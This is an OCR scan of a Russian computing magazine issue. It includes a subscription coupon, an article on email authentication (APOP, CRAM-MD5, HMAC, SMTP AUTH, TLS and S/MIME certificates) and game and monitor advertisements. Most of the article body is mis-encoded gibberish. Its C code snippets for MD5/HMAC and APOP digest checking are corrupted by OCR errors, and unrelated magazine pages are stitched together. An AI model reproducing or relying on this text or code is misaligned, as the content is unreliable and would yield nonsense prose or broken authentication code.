РЕГИОНОВ РОССИИ, АБОНЕНТОВ СЕТЕЙ МТС, БИЛАЙН И МЕГАФОН). ВОПРОСЫ О ПОДПИСКЕ МОЖНО ТАКЖЕ НАПРАВЛЯТЬ ПО АДРЕСУ 


INFO@GLC.RU ИЛИ ПРОЯСНИТЬ НА САЙТЕ МАИ, ХАКЕР.ВО 


ПОДПИСНОЙ КУПОН 


ПРОШУ ОФОРМИТЬ ПОДПИСКУ 
НА ЖУРНАЛ «ХАКЕР СПЕЦ» 


[С] на 6 месяцев Извещение 


[Г] на 12 месяцев 


начиная с 200 г. 


Прошу выслать бесплатный номер 
журнала 


a Доставлять журнал по почте 
на домашний адрес 


Г] Доставлять журнал курьером на 
адрес офиса (по г. Москве) 


в 2 * 
Подробнее о курьерской доставке читайте ниже 


(отметьте квадрат выбранного варианта подписки) 
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сумма оплаты 


is Курьерская доставка осуществляется только по Москве 


на адрес офиса. Для оформления доставки курьером Е Касси 
укажите адрес и название фирмы в подписном купоне. Р 
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OUNB Ni АМА! Е. 


AAOER DI 1 
AONB Ai D 
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ad 


хХЕОТО ОА 


бааГё аа AUNIX'T) .C 
Т, ТГУОГТ ОБ 
NDAAE 04 


AE 


Windows API. М 


NOA 


AAAO NAAB I AY OE xi 
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iii OEBDI А. 


i ol 


баеа i 
Ei | 


Ai U xANOi 


1 бу 


ГАТх 
[Г АОААЕ АГ EAA EO-Ni Г AUA 


At -i абай б, а Microsoft (a 
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NOA. 


i i ANI i NOE. 


Microsoft, i OSQL Server ai 
ТТ OADE. 
UAIA 


Oi А, AY Oi 
АЕ AAC 


AURAEEE NEAA 


A Microsoft 


A 


2 


AAEE DAAE Ai EUS 


‚ хОГ AU О 


i i ANI i NOE Ai 


2 


i ZADOAI 
ADAI 


Microsoft nodal 


OAE 


а tal -0 daca é 66-0 а. 


AAAI ЕВ ААС 


ТА 
AEAE | 


Microsofti 
ADCAI EA 


Adu ahdadad». 
, Windows 


2 


jae ea 
АГ AERA 


ii EUci AAO 


‚а. 0 


Ei OEI А 
DA@ Ai EAAER OAEI АГ AEAAI OA, AAAU Eb Ai ЕТ ADAI IN 


— VISTA AAAAEANU i A DANO 


A Microsoft, 


асаб 
а 


SyGate Personal Firewall aéy 6 
y 
6 


Ni OOA 


Ai ii & CAUEOU? 


AOOABU EC 


TI NTA 


AEB Ni ANOA 


x Oi 


Symantec Antivirus. 


di a (IE + Outlook / Outlook express). 
Agnitum (Outpost Firewall). Af o84e66h — 


9 +f аа, 
ааа ай в аб. | 11 yoda аас! - 

{ 6 1 опоойбабао ёаё ёвайя, 
ТТ yori 6 айба Гаё Of OT a & вё-айоа! 
басёё-{ аб cai вай é ё cadd -аё а аваа 
аббаеб Adal Aaddi аетб! Of & Gi a, 7 O- 
бар и ёбяу пзаваой баа! 06 A уёавоб! f - 
ПТ! -9 в Гай в08' аас! т aff ав. 
[1 afa удё саба +48 & ар ог ат ауса- 
daéui (в бабаёбаб, а сГа-ёб, 11 ёбав- 
Гав 1 ada, а ai lip Af пода Ei Го еабба- 
бё6 «if Я Тё-аГёр » айатё di. 

| Of ава! а 1 олобйоаёу Aaci i ай- 

(i hoe — Га ааё! поаа! i ay i 61 ава! а 
OAOaSAAG 20161 Of AT AF A. 1 (7 ага або- 
два dau é оаё aa базёёс! аага га 
йог аабоаб-саба +626. | 281 cl faa 1 AOU 
Of ad 6 Ait au af еубт беааёа Gi T уава- 
Гар басёё- 06 Ali fi агат баабаи а- 
{ ey aai е- аб аа! Гада Oaéhd a0 a, 
баёёа ваё UUEncode Га Упкх-йёйба- 
1 абё ВНехГа1 аёёг д в аб. E ana 
yor i aad fil а! в Геёаё га аусаё! па. 
Eég па 1992 & аб айёа т бе! уба Addi - 
та hoaf аабо! а MIME (Multipurpose In- 
ternet Mail Extension), 11 са! éyp и ay 
Табаааааой!! yeaeodi (fT é 77 +08 


i Afi af di тд! ава al a TT + 
Of ad. 6 i i Of & 1 a уаёур ONY: 


1] Di AEAI U № AOOAI OF OE- 
EAOEAE. 

2] pi AEAI UN Ai Ci i &- 

i Ui { ADAOAAOI i Ni i A- 
ОАГЕВ i DE Ai МОААЕА [А 
NADAAD EEE ТО NADAADA. 
3] Di AEAI A AADEOEEAOEE 
i Oi DAAEOAER Ni i AU Ai EB. 


> 10800006 оаёйб, | dio ei a POP3 
afai al ecfasaeuiti aadeas 08 т ба- 
AOA зобёааё а0081 O86 AGED ёй- 
ёёр 808807 атовоамт OaeAda ATT - 


1 Ти бр é&) ага USER ё PASS. Of 
апой Maal A Addai еб BEADS аа звуаёо 
Tai 2511 пвааор и! Табаси1 : 


| бё айав паг ав оусаё 1 AOS ётабаб- 
да00, абба! 086 еёабёу а 1 оёба 011 
asenod уабуЗолу 8561 ПОАЗГ 116, 108 
& Of Of 6 га обаабаойу ббаг af ват a- 
6! ву га пабааба а 1 06601 даёйба 
ёёё fii абёаёи11 отб 20а. OF 80 
11 а00 a0 OU ей! 1 ёйс1 dai U, fi ai бё- 

1 ад, crypt-i аб! ёё. 

> APOP.E1{ ат, da@ay аббаг d8- 
6 aeday — yor TOI ACT AANOUA 887 
ёр агоавав 11 айёод ёаади +dad 6 оба- 
бед. А 1996 & adT aii аваггау ааб- 
hey поаГ аабоа, ВЕС 1939, аа! aedii - 
adé aii? éf воави йе 1 aba eci аб- 
081 086 ёёабёё АРОР.Т -8Га AOA - 
Говетей -а! Гама anoai ае — 
TAT aaff dé ia cai Of йа-! бааба 
(Challenge-Response). Мабааб, 11 8- 
дабаве дар и её аа! {041 Adal ея ad- 
dai 086 оёабее, Ai ёава! ай aadt 

ат бедаойоаее Of евавиг ор AOddT 46d, 


л Qo мал 


саёёр taf Гор а 0961 ad a йё! аёё. 


№051 63 8231.1158097553@ тай.ехат- 
ple.com уаёуабйу cai di М1. xoi ad ad- 
-ейёёой 1 044d, 11 OI a0 é пабаад & | - 
баба! ебоад ё уд é HOOT éa i adT ви тт EL 
ci aadaéy, ай -ёйёуаот от! в0-а1 116 
1091 вё буд МО5 ё ааваа aaad ii а! - 
a6 АРОРй@ af ai 11 tigi аабаву ё 11 - 
664849 & пу буд а! а 16-66416 &аё- 
oi аёа. MD5("8231.1158097553@ та- 
il.example.commystrongpassword") = 
965514а21а191305810914с8945с4085. 


aaadfeniafel addaei поаГаабы 1 ? 


Thunderbird, aadi 1 адё-айёё та бар Oo 


т бёр АРОР, айёё а аа! Габа пабааба 


fy табаёёр -ёолу Га абда! оёб ёёз- 


абааб ай -ейёуад af aéi ае-{ ор + CRAM-MD5. A 1997 a 8011 yaeé- 

001 46 в пбаа! €4aad басоёйоадй . fy hoaf аабо RFC 2195, 11 базавур - 
Т&1 о ба é Ai? Ai a абба! O86 &- U 61 аба! ес! Addai 686 еёабёё Chal- 
ё, ёб11 ада, +i Ti fa At aia- lenge-response aéy IMAP @ POP3 (686 


081 , +f пабааб 1 ауса! бба! edi 7 a- 
61 BU aT OBST] баёйда, A пёб-аа 
&1т1011 адабёё пабааба таб! BUI 7 - 


ей! 1 &йс! AaduiAy A ёра!е dei OF вба- 
бё-айё в буд -6 df вбёав, Гат бё аб 
й CRAM-MD5, CRAM-MD4, CRAM- 


ох EA yma мал OF © LA xn OA 
wad ad OUT? бёи af. | аё! 9 Sati + 
AAA Q x 


of ada aaai ой, f ai бё! аб Mozilla 


Олл RRA QHA — Gay XO XE PAZ ED 


Га fdai 460 Of & геа ai аа RFC 2104, 


у Ох ил KA х WANA м 

га’ if a епог 6ee 

1 АБААВ ААРМЕВ ij Di 01 Ei EAT АБАААХЕ 11 x00 (01 AAA AU A 
MTP) i | BAEEANU А 1980 Ai AO. A 198171 BAEENR 1 Di Of ETE 
SMTP, El Of DUE ENi 1 ЕОСОАОМВ ТТ МАЕ AAI U. А 1982 AUE j DE- 
{ BOAT EOI АГО ВЕС 822, Ei Oi DUE RAERAONK NOAI AADO! i ТЕ - 
ОГ ET EA $МТР OAE ЕАТТ МАЕ АА! U, Е Ni Г OONOAOP UEE Ai О 
RFC 822, | | DAAAERP UEE 01 DI AOI xOi Al Ai Nii AUAT ER. 

А 2001 A EAxANOAA i DAAEI ЕАГГТ Ai NOAI AADOA AUEE ТРЕ! В- 
00 Ai EO! Al OU RFC 2821/2822,i i EGCHEOU МОА! AADORFC 822 
Ai NEOTi DI A OAAAONS. 


Ai OEAE AU AEBAAEA NENOAI A YEAEODI iii E ii х00 A ОАТЕТ - 
i ADNEEA АРА! Ai A.YEAEODI fi i AT ENUI i Ai МОААЕВЕГ NU 

ii AADANOTi ЕОСТ ААОДЕВ Е EEAE] NUA AAI ТТ xOi AUE ВО ЕЕ. 
Ej OADi AOAUE A САБ! АО ВА, Ai ADNi I AEi E А NAOE ГА AUEI 
АГ АМА. | Nii Ai E NAOE А OA ADAI Ai A AUEE 1 AEi ОБАЕ! U 

Ni ii Alii ЕОСГ ААОДЕОМЕЕ] Е NENOAI Ai E,E i A ЕЛА] | 

01 МОД АОЕТ i fi Ai ТТ xOi AVOBUEE! А DACEExi ООТТЕОС1 - 
AAOAEAE.1 1 YOI | О AADAN YEAEODI fii E i i xOU NEEAAU AAE- 
№ EC Ei Ai Ei i EUCi ААОАЕВ Е ААРАМА 01 NOA, Ni AAEI Ai i UO 
Ci AEl i ‘@’(ТТ -Al AEEENEE AT, Of ANOU «i A»). AAEUSAT i EU- 
СТ AAOAEU Ni i ODAE МАТ Е ТТ xOi AUE BUEE Ei EAEUI 1 . Ni AxA- 


EANIi{ ii UUb 1 AUxii ET di АРА! i Ui Di Ni ТОРА OAENO - 
AU O OAEEI А, OAE EAE Ebi | A OAENOA А OA АРБАТ Ai Ai E xAAi 
i Aj ADAAAAAE( NU, АТГ Oi Ti BAEEENU Ni AOEAEUI UAT DE- 


Ei ЕАГЕВ. Of АМОО ТТ ЕОСТ AAOAEU Ei AE i ATi хо! Ali NADAA- 
DA «i i Ef 1 AANI ОР » OxAOi Op САГЕМО. 


А 1984 Ai AOAUE I DEI BONOAI AADOT Di 01 Ei EA POP (POST 
OFFICE PROTOCOL), | AANI AxEAAb UEE OAAEAI i UE Ai №001 
Eli хОГ Ai | ОВОЕЕО. A 1984 Ai AO — AOi РАВ ААРМЕВ МОД! AAD- 
OA E A 1994 АГ AO — ГОГА CADAANOAOP UEE / Di 01 Ei E POP3 
(POP AADNEE 3). Е1 АГГТ { ADAT di 01 ЕТ Ei A POP3/SMTP 

ВАЁВЬ ONG i AEAI EAA DANI Di NODA Ai i Ui E AEG Ai №001 A 
Eli хОГ Ai | OBUEEO. 
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HMAC (Keyed-Hashing for Message 
Authentication). HMAC éa 
aeyad, 6a6 efi 1 ici Aadt &ё 
+aa CRAM 61 ё0 ёёр +a ай 
1 60) Г al ай т A буд -6 
fii au af ai (а йёо-+аа 
&1 yad digest). HMAC 
ai df еса! а 
её ё af agi 
del af af ay 
айв edyadny 
da аёу а! él 
ёй Та) ( déyi &. Ay i 
60-81 eV ikey ёазеай 6 аа6011 &0=81 (7 - 
ai вар +a «ёй! бёойу» Ai ci az 
0x36 (ipad), okey — Ox5c (opad). Ca- 
091 HMAC ad -ёйвуадйу ваё 
H(okey,H(ikey,text)), 84a H — буд - 
Of в6ёу (Гат бе аб MDS). Cai yor 
891111 féd+aa Та! сГа-вадйу 1 
ey & Г ёаба! абёё 
A +81 1688) ой ada? ума 
1861 аа? ГГ 11 са! вуад пабааб 
баг ed т аб! вц ат оёбам1 O24 
ай-а0 Of а, +0f а Gaeedti ec a 
dct af 4 буд -6 of Adee ёёр sia 
ёопу а га-аёа був A508) 06 aa 
ТГ са! вуад «саба! аа» т ба 
-айбй ай -ейёаг ев. | ai Gi аб, а 
МО5 аё& 680) 46480 ай yaad 
MDS nit(&context); 
MD5Update(&context, ikey, 64); 
MDSFinal(digest, context); 
MDS5I nit (&context); 
MD5Update(&context, okey, 64); 
MDS5Update(&context, digest, 16); 
MD5SFinal(digest, &context); 
(1 i ава! Га! fi xél т абаг епадй у 
aéa бей , басаёа аа Га ааа -айде, 
Sezai атаба 61 отб! ааа айа 
ai Ad? ам паттабабее Г аа ёёр +91 
ai аа Of 6 -ай0е абаа! баа! даой 
| GUAT п баёйй 1 .Т баааа, 758 YA) 
deaaohy ей! 1 Stic? ааа ааа & гоаёй 
MDSInit(Gicontext); 
MDSUpdate(&icontext, ikey, 64); 
MDS5I nit (&ocontext); 
MD5Update(&ocontext, okey, 64); 
1 662866 ааа &1 г оаёйда (icontext é 
ocontext), & of 60a) 1 eal дат аби Ai б- 


+  SMTP.j dio ai 5МТР & Adal - 
8560 RFC822 ёс! а-з6Ш1 afi du aia 
11 Заабаеёаар о ва в-вёа1 A508 O8- 
6 еёабёе. Гтабасо ааааолу, +i аа- 
Of Sacadey 11 вис! аабаёу га aT AOI 
ё11 40t 811 6 йабаабо 1 OT AAG аёот1 
IP-Aadah0. | ойр аа пвёааоадт а-аё1- 
Гав 6 ae0— та баавой тей 1 10 
05 аа аабайа 1 880 aici Taf 1 ПОЙ 
ёра! 6 edéap u dé. E &1 61 OUAY AYO 
Ql (aéicy, ава агата “ав. ТТ 
IP-Aadahd i 61 аабуаолу, A) Зав Wee 
00 1 daa? eAIT вис! Addu TT OI AdE 
пабааб 66 «бавав», OF AAO баййй - 
éadt -абас там тели а. 

Oaéi в аабёаг о опобаёааа 
ai 600 6p AOU ISP, éf Of 50a тбаа1 - 
foadéyp о af AOS? G17 -5 adi Aadaa- 
dal Гага баавотейа OF GUAT 
flat 1 &ёё8Г dai . 1 1 ТГ AP аабо af 11 
Гатбёа @8i аёу dc@i а, Ai абёавёсё- 
бор и AOAY Гат! +di AUS ойё68аб, Г a- 
тб 86 аёу аай! Gad! аб Яёбава уёаё- 
OT (fT ТТ +00, O26 ваё Ai 0684680- 
пут баа! позаёуой A? AOS! & Aa? Al 
11-5 adi AaSaadal ёс бас аб Aa- 
086.1 Tydti 6 AY Addai O86 еёабёё 
Adé@ | Seadi af оёобае 1 Ada/ Aci , & - 
SMTP» (POP before SMTP). №600 а& 
fai агойу @ ABaadp и ai 6.1 баэеа8 
+8) Та бааёойтейм 1, 00 161 аабу- 
ao 011 -00 Га OT) аа пабааба т! 

161 Of Af &0 POP3, 11 A@a 85 а 608-8- 
[28 гаё Of dt & аба af e@ A OAT аа IP 
dacdaa afi 7 doi SaaS VOU T AAU) а -8- 
бас yor 6 wa йабааб. OF afd +f ай 

1 oi бааебй тей 7, ( 81 Adt аё 1 Ai a- 
+468 16! аабёойт1 20d. AROaAOAal (7, 
(eeaéi a позгаабо га OAT 61 ада 
[Зап ё Addu { a1 1 edd, Oa Га 

1 af 48, ТГ ТГ A686 AT Ada 1 в ё- 
51 да бай! ST AddA af ea. 

Of ala? а 1999 & Ad AUS 1 BAI уд 
fidai A850 ВЕС 2554, & of OU аа! Aa 
56081 086 еёабёр Ai i Ot Ai @ SMTP. 
[ ава! ааа бай! OT побаг агат 1 adr - 
ail тлозаолу 1 aot а Addai O26 еёа- 
бёё POSH OU) озёйы1 (LOGIN ёёё 
PLAIN), [1 а баё1 ейгт ёосор оду 
aha 08 ei adi ай, i @ A POP3 
(2611 8, басб! aadAy, APOP). 

ТТ 081 edi desei al , zt ёй 
POP3, Microsoft Exchange Гат! аааб- 
ae4aad CRAM-MD5 ёёё DIGEST-MD5, 
И &51 амтым тт адабаеёаазояу au а 
ё GSSAPI (Kerberos). А Outlook Ex- 
press i 1 Aaadasaaaony of Bel Addai - 
O86 ё&а6ёу 1 0260001 AeA] @NTLM 
(SPA). Andou ТТ af сбаг ёа, +h 11 Adadee 
éa Kerberos а Microsoft Exchange 6aa- 
act aa/ a ейёёр -еоаёи! Ay MAL 68 - 
j@cadee ii SMTP Active Directory. 

The Baté 466888 11 +0f aa 
азаг ой, ваёт бааеё , тозавааар о 
Ad a1 б Гайё вивёёб 8111 Si AOASU аб 
dei 7 A 20081 O86 еёабёё: СВАМ-МО5, 
DIGEST-MD5 ё 6.4. | dé? of 608 тт a- 
Aadeeeaap Oe «POP before SMTP», 
+01 40 1 46aa+80i eedci И 091 11 Bict - 
aadaeyl , Af of 60a саай Aap от бе! Vou 
11 +06 1 8684 1 Oi бааё! в. 

i 7, Ё Ai eaeas ep, Addai 086 ё- 
eaday A SMTP 1 AOaAaOAY Г 81 аусё- 


ОВ Е, ЗАВЫ 11 1 
aase (A 11 yaeet AU Г 88 аы TA 1 24 - 
aa 1 OF азбёё забава 1 OF бзаёозау. 
119911 б зав поазгГа1 позаиоа! 1 
cal &50 ТОТ! aadsée 1 MOABOAY yede- 
dot (fay 11 ai end. 
> 686 S140 AASV вай aay 
yeast (ТТТ +60. Efi t &йсбу 6ё- 
651408 36026 AOL, Lia? we 
6 Of Add ё iT Ai ейа ааа Yedeoor газ 
i aAUl a. O86 51 Ady 11 ai SAU т Oa? AOA- 
aayaol Adal acl 151 аабёё OAET вы T - 
foe М а8базы! ay TAAUI a (7A due? Be 
11 ёа Af Alt 1081468448), о 8d Ot - 
adi ea edd ad0 O4eAO T andi a. 1 61 68- 
4600 11 a1 OA @ @ 86 61 AAI ay 1 OT ac- 
al ЗУЛУ T1401 4G) &828ГЫ1 19 oade- 
0887, 3161 088660 151 Ade’ 686 OT - 
al 617 Ai ИЕ @ Saw &0 51 Aes — TT + 
HAG) eel Ot) 11 &0-5588у. 

pacddoal , ваётт ат end aadue 
0 86 61 AaOU Yedeoo! газ ATT Au Af ay 
4 daci G61 so 406 65251 636. Аёу 
уча (al 111281 A@OAY 68105 AADOE- 
6 ёвабёё. | Taki Al fit éuct AaounY 
&11 86-8188 681 MOT аабури al 
681051, ТОТ! аГЫ & Aare ATA. 
Adal fA (М 1 O08 AOdOUp 151 IPSec). 

i act al асаё 1 Ag AAS и eA 
+01 40 A@eaa 1 1888 &1 Ai? Sic? aaduAY 
686 61 1 6 11атёпор aay yedeoo! 1 - 
(O61 ena , 6144 &1 вае8Г S000 6A 
(TA@ai AOOWS 60, заза 1 UE OI - 
511 AASORS ёвабёё, & Of OT] 6 AT ad- 
5780 AT 4, а тбзаг Aci а- UE аёу 
ПП aT ЕЁ yedeoot (16 11 400. 

| 51 688663 11 A648 87 86568 &- 
€da Ay 686 Of AT 6 11 AI AAA (i ба! - 
85858 , sot 186086 2830 681 ИМ! Aa- 


+01 сай eu aad TLS 


TLS САО EU AAO EAE i АРАААААА1 UA AAI [ ОА, OAE Е i Di OANN 


AOOAI OEOEEAOEE (STLS AAAONB Ai EAE E-EEAI ADOAI E EI - 


AOAEE ТТ Ei | NOUb ГА ONODAI ВАОМВ. АОАЕОР UEE, ANOAAGE 
i АЖАО EEEAI 01 | E NADAADI | ‚ТТ ЕЛОГТТ О OAOUNB ТТ ANO- 
1 000 Ni ANOAAI Г ОЕ NADOEOEEAO, 01 ОВ ТТАГАГОЕ ОЕТ AOAEE 


i pi ECA] АВОЕЕ ТГ AEEb xAi EA Ai ADAUA, AUi OAAAI ТРЕ! в 00 
i DAAOI DAZ AAI EA. 11 YO! | ОГА МОГ EO? OEACUAAOUNS 1 O AA- 
Ci | ANI 7 E AOOAI OEOEEAOEE AAAAI DE EN i EUCi AAI EE TLS. 


буриа& баг dda ойба!1 аваг а йгейёа 
& Of aad 6 а1 Addai {аб Haddad еёаб 
6+a0i7 6 cai ae Авёйй ё Ai a): 


a> 


1 САГ DAG EAAAG 0 
МАРОЕОЕЕАО AEB 
YEAEOpI fii Ei i xov: 
START + RUN + HTTP://IP_ 
ОАГ ODA_NADO/CERTSRV. 
2 AUAEDAAG 0 | i OEP 
REQUEST A CERTIFICATE, 
АТ AOU NEXT. 

3 AU AEDAA® U E-MAIL 
PROTECTION CERTIFICATE, 
АТ AOU NEXT. 


4cAii Ei ВАО ОТГЕЁВ NAME 

E E-MAIL (i NOAEUI UA 

ТТ ЕЛЁАГЕР ). 
Абай af = абаёаг, овасйазу Yaad 1 - 
Гоб аабай. ГГ 21 edi Of Hi Al ai a- 
aad AT adadi Gi) аабам!1 та бааё- 


баёу (dai , Af of O06 тт айбааёойу 


aii éa «Eli 6», &f dai 7 662a08et 
{aad 80 11 66 «1 баадё0»). ABS Tf 
Га абаао fit di Adadi, 11 +0 aN é вёёаГ о 
Га аапот1 Adaaedd 626 61 абр TT ai AAU. 


5 | AEE] ААВ 0 SUBMIT 

E AAEAA YES. 

6 | OEDU AAAG 0 1 Ni ANOEO 
CERTIFICATION AUTHORITY 
iA Ei ii Up OADA, 1 A E7 Of - 
91| ONOAI i AEAI ОАГ OD 
NADOE OEEAOEE, Е AUAA- 
Аб 0 oi EUEI хОГ CAI Di - 
СА! i OE NADOEOEEAO. 

771 EOxAAGU САГ Di © А! - 

i 0E МАРОЕОЕЕАО М El | - 

| Up ОАРА AEENO. AEB УС - 
АГ CAOi AE@ UI A NODAI Ex- 
EO HTTP://IP_OAI ODA_NADO/ 
CERTSRV/CERTCKPN.ASP, 
AUAEDAAG Ui OZI UE 

CAI DIN E Zi ABU NEXT. 

8 AU AEDAA@ U INSTALL THIS 
CERTIFICATE E Е] АВ 0 YES. 


(1) 


int authinfo * ai, void * arg){ 

#define param ((POP *)arg) 
char digest1[16]; 
char digest2[16]; 
MD5_CTX Context; 
if(tai->clearpasswd) return 202; 
МО nit(&Context); 
MD5Update(&Context, param->banner, strlen(param->banner)); 
MD5Update(&Context, ai->clearpasswd, strlen(ai->clearpasswd)); 
MD5Final(digestl, &Context); 
scan_digest(param->pop_parm[2], digest2, 16); 
if(memcmp(digestl, digest2, 16)) return 203; 
return call back_func(ai, arg); 


[* callback func diéaia fi daaaéeou байт! в! wai ea mailbox/maildrop @ uid/gid iiéiciaadaéy ii 


aut hinfo*/ 
#undef param 


} 


char * name = p->pop_parm[1]; 
char digest[16]; 


(void)strncpy(p->user, name, MAXUSERNAMELEN- 1); 


if((res = 


if(!auth_getuserinfo("pop3", 
p->auth = COURIER APOP; 


scan_digest(p->pop_parm2], 
return pop_msg(p,POP_FAI LURE, 


digest, 16)) != 16) 
"Invalid APOP digest"); 
name, do_apop, p)){ 


O8i бит Of Addu, sot а Ai ANA ABOOE- 
dota 60-891 é cai ane Авёйй 
adda бр Personal ai азаёёйу {1 - 
206 8606 Add. Аёу yar а: 


1 START > RUN > ММС. 
HAZE] ААС U ENTER. 


2 AAEAA FILE, ОА] ADD/REMO- 
VE SNAP-INE Ai Ei @ EA ADD. 


3 AU AEDAA@ 0 CERTIFICA- 
TES E А! AOU ADD. 


USER ACCOUNT E АТГ AOU 
FINISH. 

5 AAEAA CLOSE E OK. 

6 Ni | ODE@U AAOAU CERTI- 
FICATES — CURRENT USER \ 
PERSONAL \ CERTIFICATES. 
7АТЕГА Ni DAAA Ai ЕЕА! 
17 RAE OUNB Of EUET xoi 
ONOAI 7 AEAI i OE NADOEOE- 
ЕАО (ANEE Ai YO! АГ iA 
ONOAI AAEEAAE МАРОЕОЕ- 
EAOU ТТ EUCI AAOAER, YO! 
АОААОТ ADAUE EEE АС - 
Di E EExi UE NADOEOEEAO 
{i NEA NADOEOEEAOA EFS, 
Ei Of DUE Ni САААОМВ AA- 
ОГ | AOExANEE i DE ВЕДЯ - 
AAI EE OAEEA). 

8 AAEAA AAI E11 E EEEE ТА 
NADOE OEEAOA, Е OAAZAA 
Аб ОМВ, xOi ГА CAEEAAEA 


i i Of Of Af ва IMAP 


Ei Е POP31 | АРАСО! AAAE, xoi ТТ EUC] AAOAEU СААЕРА- 


GENERAL OEACAI ГА OAEU: 
PROTECTS E-MAIL MESSAGES. 
э [А CAEEAAEA DETAILS 

ii €ii ii Ni i ОРАО0, 


Ei | OAUAAi NADOEOEEAO 
Е EAE] Е YEAEOpI | i UE 
AADAN 1 Г ТГ AOAADAAAAO. 


| абабе af Ai af Aa Га й061 +46 «You 
have a private key that corresponds to 
this certificate». Y di ci a+80, +01 Aad- 
086 6640 fil аабаеёот або «1 D600 - 
00 6/caédd ot é вёр +». 
№ Gaf 0611 пабоео евабёё 

бас! абавепи. Odi ABUT? Ai 1 обе 
Гайод! веё ТТТ оёубГ GOTT +0i ANS 
ввёаг Of a. | AH al ATT AT AAG ааг ay 
yéaéooi ff G67 efai а Outlook Ex- 
press. EfAdi а] ec OFA, Of 6+80/ ау 
cai én fil caaf a в ааа па! éfhoaad 
aiiéa «Email address» dfidai i ава! 
аабай yéadoo? f(T Ai? +00, aéy Af at - 
Of & OO 17 &0-ёё Haddad G40. 

№ сазав ii Au 1 (апёе ат! = 
Ol aii евёаг 0a Г айё! GUE? +80! 06 са- 
тейае, ad аёбааю й dey T i бааёе о, 
aéy & Of Of в айдй пабоеб вёад), cai 1 é- 
(yao (at dot аы оатт ву аа Sod 
«Sign» ёёё ai ai p Tools ай аёбаав ti 
Digitally Sign. E 7 oi бааёудв а. O8i аба 
тейм 7 (айёё Ai 1 обабй а 1 Oi баава! - 
106) тт ai efafi м1 озаойоаор и ав тёё- 
Of ai 1 16 ааёда та-асе Га & гаабда. 

ЕТ aaa Ala ii 0-20 yor TAU 1, 
Of cai aded, +0f 111 ei Aad G86 61 абр 
i? ai ела. Айёё о Ai da а Ai AAA a7 аа- 


dai {06 & Of add 6 йабоеб BEadi а Габ 


х00 МТТ хо! Ai Al NADAADA ГА МАГ E Ei i ТОР OAD, A СА- 


ОА! Ei EAEUI i ААТ ADAAAOU AAAO, DANEEAAU АААОТТ ТА! Г x- 
EAI Е xEOAAO.i Di ОГ Ei E IMAP i i ADACOI AAAAO, xOi ANAE Г A- 
DAAI ОЕТ Е ТТ xOU, AEEP хАВ DANEEAAEOT? 1 Ali xEAi ,i i ENE 
Ni i AU AI EE, Oi DAAEAI EA ДЕТ AAI i Ui EAT EOOAEEAI EE 

Ni DOEDI АЕОТТ DACEExi Ui ЕРЕОАРЕВ! , CAI El AAONB ТТ хо! - 


ONEAR i Di ADA] | А ВАЕВАО МГ Ai E i Bi NOAi UEEE Ei OADOAE- 
NEE E Ai AAOUI Ai Ci i Ai i NOBi ТГ xOi АГ Ai NADAADA T i 

i pi ОГ Ei EOIMAP. YO! AUEI { Ai AOI AEI 1, xOi AU Г AEAAxE 00 
AECI U OEEAI UEE] | ADNI [ AEEAI ,E] AA@E] NBi AI Ti ALO 
ii BAEAI EB 1 Di 01 Ei EA (1988 АГА). AAEI МОАА! i Ui | DEEI ZA- 


EAAI Ei AEE IMAP, NOAEAI Di ADAI - 


i A «РИМЕ», Ei ОГ РАВ AEOEAI 1 ENI 1 EUCOAONB A AEAAAI E xAN- 
EEO NAOBO. IMAP AAENOAE OAEUi i OA AAI A OADI Ei AE-EEAN- 
NAO, AAA О NOOAAI Of Ai AOAU AAEAI ГООТАБМТ [ДЕТ E, 01 EU- 
Е 


OADI ЕГАЁО. 


ГГ МЕГ ЕОЕО АРОДЕА 1 DEEI АА! ЕВ АМА РАА! i ТТ АААРЕЕААЕЕ 


ГГ №ОО ТА АОЕГ, ТГУОГ 1 ОГЕТАГА ЕС DANI Di NODAI Ai i UO 
МАОЛАООТОЬГ АРА] | OAEOExANEE Г АЕМГТ EUGOAO Ai ААООЕ 
001 EOE] ГАЕОГОЕ ГААГ DIMAP, БААЁЕСОВ DAAI 00 МТТ xOi Е 


OADOAENU ТТ САГ EEEE Oi РААЕВОЙ ТТ хОГ Е хАБАС МОД! AADO- 


ENi 7 EUCi ААООТ pi Of Ei E IMAP {i АО, OAE EAE ЕСАО 01 xi UE 
001 EOE] i AE ANAAAA 1 DEAT AEOE Т РГ AEAI Ai М ААС! i AN- 


ii NOUp Ei AA. 


ii Yor Е ТРЕХЕГ А IMAP [А АОАА| DACAEDAOU 
ТОААЕШТ,ГТ Ef Al ОТ Of i МЕОМВ АМА Of , xOi NEACAI i 


1 i pi of Ef EA РОРЗ. 


ON, 6 &f Of dt & Asha тт ёо-ёёа паг в 
fad0e Gad, i 6di Adal 1 ат! ai ere 
абаао f Abani Gi ёбба1 ei? уаёолу 
i }aadi базеаа! ёа dacii ай! 1 hoe. 
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ASSASSIN'S ia | ИЗМЕНИВ ЩИХ МИР Dungeons & Dragons 3.5 
CREED г КАЖДОМУ в компьютерных играх. 


ПРИНЦ ПЕРСИИ к, tty To ee Ae OL 
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WORLD) 2006 года от создателей 
Homeworld и Warham- 
mer 40.000: Dawn 

of War. 


BIOSHOCK 
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a System Shock 3... 
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постера; 
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Спарта», Rayman Raving Rabbids, 
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Ha Company of He- 
roes, «The Sims 2: Питомцы», GTR 
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Paraworld , Safecracker, GTI Racing, 
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Корсар», Dragon’s Lair HD... 
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Яркое насыщенное изображение 


Жидкокристаллический монитор L1750SG-SN Flatron 
Видимая область 17" (43.18 см) /Точка 0.264 x 0.264 мм 
Яркость 250 кд/м2 - типичная /Контрастность 500:1 - типичная 
Подсветка 4 лампы CCFL /Угол обзора 160° по горизонтали, 160° по вертикали 
Время отклика 8 мс /Глубина цвета 16.2 млн. цветов 
Соответствие стандартам TCO'03 /Разрешение 1280x1024@75 Гц 


Информационная служба LG Electronics 8-800-200-76-76 (бесплатная горячая линия по Росии) www.ig.ru 


Е www.|g.ru Dina Victoria 
vr (095) 688-61-17, 688-27-65 


WWW.DVCOMP.RU 


Соод 


Москва: Pronet Group (495)789-38-46, Москва: Неоторг (495)223-23-23, Москва: розничная сеть Polaris (495) 755-55-57, Москва: Ф-Центр (495) 472-64-01 Москва: 

NT Computer (495) 970- 19-30, Москва: Техносила (495) 777-87-77,Москва: Компания Кит (495) 777-66-55, Москва: Flake (495) 236-99-25, wren п (495) 745-5175, 

Москва: Сетевая Лаборатория (495) 784-64-90, Москва: ISM (495) 718-40-20, Москва: Никс (495) 974-33-33, Москва: ОЛДИ (495)105-07.00 SN Computers 

